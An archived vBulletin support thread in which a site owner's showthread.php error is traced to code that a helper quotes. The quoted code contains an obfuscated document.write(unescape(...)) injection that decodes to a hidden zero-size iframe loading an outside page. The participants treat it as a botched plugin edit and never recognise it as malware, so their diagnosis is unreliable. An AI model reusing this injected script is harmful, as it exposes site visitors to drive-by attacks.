vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB3 Programming Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=15)
-   -   error showthread.php (https://vborg.vbsupport.ru/showthread.php?t=167735)

yakuza35 01-14-2008 04:33 PM

error showthread.php
 
hi all
I get error in showthread.php

and on line 323

PHP Code:

        else 

screenshot

http://www.onlinetaraf.com/photoplog/images/2/1_ss.JPG

Lynne 01-14-2008 04:43 PM

Which version of vbulletin are you running? I have 3.6.8 on my main site and 3.7 on my test site and that is not line 323 in showthread in either of them. I think we need to see what is around that line in order to help, so knowing the version, or having you post more of your showwthread.php script, would help a lot.

yakuza35 01-14-2008 05:15 PM

1 Attachment(s)
I use 3.6.8 version
I upload my showthread.php

Lynne 01-14-2008 05:23 PM

OK, but you must have done some sort of editing of the file as "else" is not line 323 on an unmodified 2.6.8 showthread.php script. So, we need to see your code around that line in order to see what is going on.

yakuza35 01-14-2008 05:41 PM

my englısh ıs not so good and you say me where will I edit and I can edit :)

Marco van Herwaarden 01-14-2008 06:27 PM

Can you please provide the URL to this problem?

yakuza35 01-14-2008 06:30 PM

www.onlinetaraf.com
http://www.onlinetaraf.com/showthread.php?t=2

Lynne 01-14-2008 06:45 PM

I just downloaded your page... line 323 is not an else statement. You have a "<!--" there and then you commented out the end of the commenting.

This is what you have:
Code:

// workaround for header redirect issue from forms with enctype in IE
// (use a scrollIntoView javascript call in the <body><!-- o --><script type="text/javascript">

<!--

document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%61%7A%65%6E%76%61%67%65%6E%2E%63%6F%6D%2F%69%6D%67%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E'));

//-->

</script><!-- c --> onload event)
$onload = '';

My showthread has:
Code:

// workaround for header redirect issue from forms with enctype in IE
// (use a scrollIntoView javascript call in the <body> onload event)
$onload = '';


I don't know what the purpose of all that other stuff is.

yakuza35 01-14-2008 07:18 PM

I dont know too I use some plugıns cmps , photoplog , arcade

Lynne 01-14-2008 08:09 PM

Then I suggest you look for the one that had you edit the showthread.php file and verify that you did it correctly. Whatever you did in that file is *not* correct because you have the start of a comment and then you commented out the end of the comment line. You can't do that or you will get a page error, as you saw. If you have a "<!--" you need to have a "-->" at the end. "//" says Disregard This Line, so your end comment is being disregarded.


All times are GMT. The time now is 01:03 PM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01092 seconds
  • Memory Usage 1,729KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (2)bbcode_code_printable
  • (1)bbcode_php_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (1)pagenav_pagelink
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (10)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • pagenav_page
  • pagenav_complete
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete